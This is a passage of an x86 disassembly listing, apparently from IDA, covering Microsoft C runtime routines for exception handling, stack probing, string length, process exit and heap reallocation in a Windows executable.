loc_41DEEB:				; CODE XREF: sub_41DECE:loc_41DF26j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41DF28
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41DF28
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41DF26
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41DF62
		call	dword ptr [ebx+esi*4+8]

loc_41DF26:				; CODE XREF: sub_41DECE+44j
		jmp	short loc_41DEEB
; ---------------------------------------------------------------------------

loc_41DF28:				; CODE XREF: sub_41DECE+2Aj
					; sub_41DECE+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DECE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF36	proc near		; CODE XREF: sub_423262+60p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41DEAC
		jnz	short locret_41DF58
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41DF58
		mov	eax, 1

locret_41DF58:				; CODE XREF: sub_41DF36+10j
					; sub_41DF36+1Bj
		retn
sub_41DF36	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF59	proc near		; CODE XREF: sub_423880+1Ep
					; sub_423880+40p
		push	ebx
		push	ecx
		mov	ebx, offset byte_433118
		jmp	short loc_41DF6C
sub_41DF59	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF62	proc near		; CODE XREF: sub_41DECE+4Fp
					; sub_41DF84+8Ep
		push	ebx
		push	ecx
		mov	ebx, offset byte_433118
		mov	ecx, [ebp+8]

loc_41DF6C:				; CODE XREF: sub_41DF59+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41DF62	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF84	proc near		; DATA XREF: __SEH_prologo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41E04D
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]
		push	ebx
		call	sub_422D45
		add	esp, 4
		or	eax, eax
		jz	short loc_41E03F

loc_41DFC4:				; CODE XREF: sub_41DF84+B2j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41E046
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4+4]
		or	eax, eax
		jz	short loc_41E02D
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	eax
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41E02D
		js	short loc_41E038
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41DE8C
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41DECE
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41DF62
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		mov	eax, [edi+ecx*4+8]
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	eax

loc_41E02D:				; CODE XREF: sub_41DF84+4Ej
					; sub_41DF84+68j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41DFC4
; ---------------------------------------------------------------------------

loc_41E038:				; CODE XREF: sub_41DF84+6Aj
		mov	eax, 0
		jmp	short loc_41E062
; ---------------------------------------------------------------------------

loc_41E03F:				; CODE XREF: sub_41DF84+3Ej
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 8

loc_41E046:				; CODE XREF: sub_41DF84+43j
		mov	eax, 1
		jmp	short loc_41E062
; ---------------------------------------------------------------------------

loc_41E04D:				; CODE XREF: sub_41DF84+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41DECE
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_41E062:				; CODE XREF: sub_41DF84+B9j
					; sub_41DF84+C7j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41DF84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41DECE
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E090	proc near		; CODE XREF: sub_405771+Ap
					; .text:0040A3DAp ...

arg_0		= byte ptr  4

		cmp	eax, 1000h
		jnb	short loc_41E0A5
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
; ---------------------------------------------------------------------------

loc_41E0A5:				; CODE XREF: sub_41E090+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]

loc_41E0AA:				; CODE XREF: sub_41E090+2Cj
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41E0AA
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41E090	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E0CD	proc near		; CODE XREF: sub_41B760+2Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]

loc_41E0D1:				; CODE XREF: sub_41E0CD+Cj
		mov	cx, [eax]
		inc	eax
		inc	eax
		test	cx, cx
		jnz	short loc_41E0D1
		sub	eax, [esp+arg_0]
		sar	eax, 1
		dec	eax
		retn
sub_41E0CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0E3	proc near		; CODE XREF: sub_42344D+60p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41E0E3	endp

; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41E113	proc near		; CODE XREF: sub_4230A9+25p
					; sub_4232D1+149p ...

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41E113	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E11A	proc near		; CODE XREF: sub_41E2A4+7Ep
					; sub_42344D:loc_423470p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, large fs:0
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], offset loc_41E143
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_427702	; RtlUnwind

loc_41E143:				; DATA XREF: sub_41E11A+12o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	eax, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edi, large fs:0
		mov	ebx, [ebp+var_4]
		mov	[ebx], edi
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41E11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E16C	proc near		; CODE XREF: SEH_41B760+5j
					; .text:00427917j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_423776
		add	esp, 20h
		mov	[ebp+var_4], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41E16C	endp

; ---------------------------------------------------------------------------

loc_41E1A2:				; DATA XREF: sub_41E465+1Fo
		cld
		mov	eax, [esp+8]
		mov	ecx, [eax+8]
		cmp	ecx, ds:dword_433148
		jz	short loc_41E1BE
		mov	eax, [esp+4]
		or	dword ptr [eax+4], 8
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_41E1BE:				; CODE XREF: .text:0041E1B0j
		push	0
		push	eax
		push	dword ptr [eax+14h]
		push	dword ptr [eax+0Ch]
		push	0
		push	dword ptr [esp+20h]
		push	dword ptr [eax+10h]
		push	dword ptr [esp+20h]
		call	sub_423776
		add	esp, 20h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1DD	proc near		; CODE XREF: sub_41E2A4+96p
					; sub_4234B4+33p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		cmp	[ebp+arg_0], 123h
		jnz	short loc_41E1FF
		mov	eax, offset loc_41E278
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		jmp	loc_41E2A1
; ---------------------------------------------------------------------------

loc_41E1FF:				; CODE XREF: sub_41E1DD+Ej
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41E2A4
		mov	eax, ds:dword_433148
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_10], eax
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	sub_4203B6
		call	dword ptr [eax+74h]
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_41E278:				; DATA XREF: sub_41E1DD+10o
		cmp	[ebp+var_4], 0
		jz	short loc_41E295
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41E29E
; ---------------------------------------------------------------------------

loc_41E295:				; CODE XREF: sub_41E1DD+9Fj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41E29E:				; CODE XREF: sub_41E1DD+B6j
		mov	eax, [ebp+var_34]

loc_41E2A1:				; CODE XREF: sub_41E1DD+1Dj
		pop	ebx
		leave
		retn
sub_41E1DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E2A4	proc near		; DATA XREF: sub_41E1DD+26o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		cld
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		cmp	eax, ds:dword_433148
		jz	short loc_41E2CF
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		or	eax, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		xor	eax, eax
		inc	eax
		jmp	loc_41E353
; ---------------------------------------------------------------------------

loc_41E2CF:				; CODE XREF: sub_41E2A4+12j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		jz	short loc_41E2E9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		xor	eax, eax
		inc	eax
		jmp	short loc_41E353
; ---------------------------------------------------------------------------

loc_41E2E9:				; CODE XREF: sub_41E2A4+34j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+18h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		push	[ebp+arg_0]
		call	sub_423776
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41E327
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41E11A

loc_41E327:				; CODE XREF: sub_41E2A4+76j
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	123h
		call	sub_41E1DD
		add	esp, 1Ch
		mov	eax, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	eax
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax

loc_41E353:				; CODE XREF: sub_41E2A4+26j
					; sub_41E2A4+43j
		pop	ebx
		leave
		retn
sub_41E2A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E356	proc near		; CODE XREF: sub_4234B4+52p
					; sub_423572+107p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi
		jl	short loc_41E3AC

loc_41E374:				; CODE XREF: sub_41E356+51j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41E37E
		call	sub_42384D

loc_41E37E:				; CODE XREF: sub_41E356+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		lea	eax, [ebx+eax*4]
		cmp	[eax+4], ecx
		jge	short loc_41E392
		cmp	ecx, [eax+8]
		jle	short loc_41E397

loc_41E392:				; CODE XREF: sub_41E356+35j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41E3A3

loc_41E397:				; CODE XREF: sub_41E356+3Aj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_41E3A3:				; CODE XREF: sub_41E356+3Fj
		cmp	[ebp+arg_4], 0
		jge	short loc_41E374
		mov	eax, [ebp+var_4]

loc_41E3AC:				; CODE XREF: sub_41E356+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41E3C0
		cmp	esi, eax
		jbe	short loc_41E3C5

loc_41E3C0:				; CODE XREF: sub_41E356+64j
		call	sub_42384D

loc_41E3C5:				; CODE XREF: sub_41E356+68j
		pop	edi
		lea	eax, [esi+esi*4]
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41E356	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3D0	proc near		; CODE XREF: sub_42310D+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		call	sub_4203B6
		mov	eax, [eax+88h]
		mov	[esi+4], eax
		call	sub_4203B6
		mov	[eax+88h], esi
		mov	eax, esi
		pop	esi
		retn
sub_41E3D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F8	proc near		; CODE XREF: sub_423262+56p

arg_0		= dword	ptr  4

		call	sub_4203B6
		mov	eax, [eax+88h]
		jmp	short loc_41E410
; ---------------------------------------------------------------------------

loc_41E405:				; CODE XREF: sub_41E3F8+1Aj
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short loc_41E416
		mov	eax, [eax+4]

loc_41E410:				; CODE XREF: sub_41E3F8+Bj
		test	eax, eax
		jnz	short loc_41E405
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_41E416:				; CODE XREF: sub_41E3F8+13j
		xor	eax, eax
		retn
sub_41E3F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E419	proc near		; CODE XREF: sub_423262+9p

arg_0		= dword	ptr  4

		push	esi
		call	sub_4203B6
		mov	esi, [esp+4+arg_0]
		cmp	esi, [eax+88h]
		jnz	short loc_41E43B
		call	sub_4203B6
		mov	ecx, [esi+4]
		mov	[eax+88h], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41E43B:				; CODE XREF: sub_41E419+10j
		call	sub_4203B6
		mov	eax, [eax+88h]
		jmp	short loc_41E451
; ---------------------------------------------------------------------------

loc_41E448:				; CODE XREF: sub_41E419+3Cj
		mov	ecx, [eax+4]
		cmp	esi, ecx
		jz	short loc_41E45D
		mov	eax, ecx

loc_41E451:				; CODE XREF: sub_41E419+2Dj
		cmp	dword ptr [eax+4], 0
		jnz	short loc_41E448
		pop	esi
		jmp	sub_42384D
; ---------------------------------------------------------------------------

loc_41E45D:				; CODE XREF: sub_41E419+34j
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		pop	esi
		retn
sub_41E419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E465	proc near		; CODE XREF: sub_42310D+77p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, ds:dword_433148
		and	[ebp+var_18], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+var_14], offset loc_41E1A2
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_18]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_423880
		mov	ecx, eax
		mov	eax, [ebp+var_18]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41E465	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E4BE	proc near		; CODE XREF: sub_401895+Cp
					; sub_401C28+1B7p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_42967C
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_42908C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_41E4BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4F8	proc near		; CODE XREF: sub_41E530p
		mov	eax, offset sub_423CE8
		mov	ds:off_433970, eax
		mov	ds:off_433974, offset sub_423976
		mov	ds:off_433978, offset sub_4239DB
		mov	ds:off_43397C, offset sub_42393A
		mov	ds:off_433980, offset sub_4239C1
		mov	ds:off_433984, eax
		retn
sub_41E4F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E530	proc near		; CODE XREF: sub_41F531+Dp
					; sub_423D8B+21p
					; DATA XREF: ...

arg_0		= dword	ptr  4

		call	sub_41E4F8
		call	sub_423D8B
		cmp	[esp+arg_0], 0
		mov	ds:dword_435500, eax
		jz	short loc_41E54B
		call	sub_423D39

loc_41E54B:				; CODE XREF: sub_41E530+14j
		fnclex
		retn
sub_41E530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E550	proc near		; CODE XREF: sub_401000+5p
					; sub_4013EC+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41E550	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E56F	proc near		; CODE XREF: sub_41BA91+8p
					; sub_41D098+1Fp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_435504
		test	eax, eax
		jz	short loc_41E587
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41E587
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_41E587:				; CODE XREF: sub_41E56F+7j
					; sub_41E56F+12j
		xor	eax, eax
		retn
sub_41E56F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E5BB

loc_41E58A:				; CODE XREF: sub_41E5BB:loc_41E5C4j
		push	8
		push	offset stru_4296A0
		call	__SEH_prolog
		and	dword ptr [ebp-4], 0
		push	0
		push	1
		call	sub_423E1A
		pop	ecx
		pop	ecx
		jmp	short loc_41E5AE
; END OF FUNCTION CHUNK	FOR sub_41E5BB

; =============== S U B	R O U T	I N E =======================================



sub_41E5A7	proc near		; DATA XREF: .text:stru_4296A0o
		xor	eax, eax
		inc	eax
		retn
sub_41E5A7	endp

; ---------------------------------------------------------------------------

loc_41E5AB:				; DATA XREF: .text:stru_4296A0o
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_41E5BB

loc_41E5AE:				; CODE XREF: sub_41E5BB-16j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	3
		call	ds:dword_4290E8	; ExitProcess
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_41E5BB

; =============== S U B	R O U T	I N E =======================================



sub_41E5BB	proc near		; CODE XREF: sub_41BBA7+A1p
					; sub_41CE46+AEp ...

; FUNCTION CHUNK AT 0041E58A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0041E5AE SIZE 0000000D BYTES

		cmp	ecx, ds:dword_433148
		jnz	short loc_41E5C4
		retn
; ---------------------------------------------------------------------------

loc_41E5C4:				; CODE XREF: sub_41E5BB+6j
		jmp	loc_41E58A
sub_41E5BB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E618	proc near		; CODE XREF: sub_41C4AE+34p
					; sub_41C4AE+49p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041E789 SIZE 0000003C BYTES

		push	14h
		push	offset stru_4296B0
		call	__SEH_prolog
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_41E63B
		push	[ebp+arg_4]
		call	sub_41D0C4
		pop	ecx
		jmp	loc_41E7BF
; ---------------------------------------------------------------------------

loc_41E63B:				; CODE XREF: sub_41E618+13j
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		jnz	short loc_41E64E
		push	edi
		call	sub_41C2DD
		pop	ecx
		jmp	loc_41E7BD
; ---------------------------------------------------------------------------

loc_41E64E:				; CODE XREF: sub_41E618+28j
		cmp	ds:dword_4395BC, 3
		jnz	loc_41E789

loc_41E65B:				; CODE XREF: sub_41E618+158j
		mov	[ebp+var_1C], ebx
		cmp	esi, 0FFFFFFE0h
		ja	loc_41E758
		push	4
		call	sub_41E983
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		push	edi
		call	sub_41E9FC
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	loc_41E728
		cmp	esi, ds:dword_4395A8
		ja	short loc_41E6D8
		push	esi
		push	edi
		push	eax
		call	sub_41EEFC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E6A0
		mov	[ebp+var_1C], edi
		jmp	short loc_41E6D8
; ---------------------------------------------------------------------------

loc_41E6A0:				; CODE XREF: sub_41E618+81j
		push	esi
		call	sub_41F1DB
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	short loc_41E6D8
		mov	eax, [edi-4]
		dec	eax
		mov	[ebp+var_24], eax
		cmp	eax, esi
		jb	short loc_41E6BB
		mov	eax, esi

loc_41E6BB:				; CODE XREF: sub_41E618+9Fj
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_41BC60
		push	edi
		call	sub_41E9FC
		mov	[ebp+var_20], eax
		push	edi
		push	eax
		call	sub_41EA27
		add	esp, 18h

loc_41E6D8:				; CODE XREF: sub_41E618+72j
					; sub_41E618+86j ...
		cmp	[ebp+var_1C], ebx
		jnz	short loc_41E728
		cmp	esi, ebx
		jnz	short loc_41E6E7
		xor	esi, esi
		inc	esi
		mov	[ebp+arg_4], esi

loc_41E6E7:				; CODE XREF: sub_41E618+C7j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	ds:dword_4395B8
		call	ds:dword_4290A0	; RtlAllocateHeap
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	short loc_41E728
		mov	eax, [edi-4]
		dec	eax
		mov	[ebp+var_24], eax
		cmp	eax, esi
		jb	short loc_41E712
		mov	eax, esi

loc_41E712:				; CODE XREF: sub_41E618+F6j
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_41BC60
		push	edi
		push	[ebp+var_20]
		call	sub_41EA27
		add	esp, 14h

loc_41E728:				; CODE XREF: sub_41E618+66j
					; sub_41E618+C3j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41E780
		cmp	[ebp+var_20], ebx
		jnz	short loc_41E758
		cmp	esi, ebx
		jnz	short loc_41E73D
		xor	esi, esi
		inc	esi

loc_41E73D:				; CODE XREF: sub_41E618+120j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	ebx
		push	ds:dword_4395B8
		call	ds:dword_429190	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax

loc_41E758:				; CODE XREF: sub_41E618+49j
					; sub_41E618+11Cj
		mov	eax, [ebp+var_1C]
		cmp	eax, ebx
		jnz	short loc_41E7BF
		cmp	ds:dword_4356BC, ebx
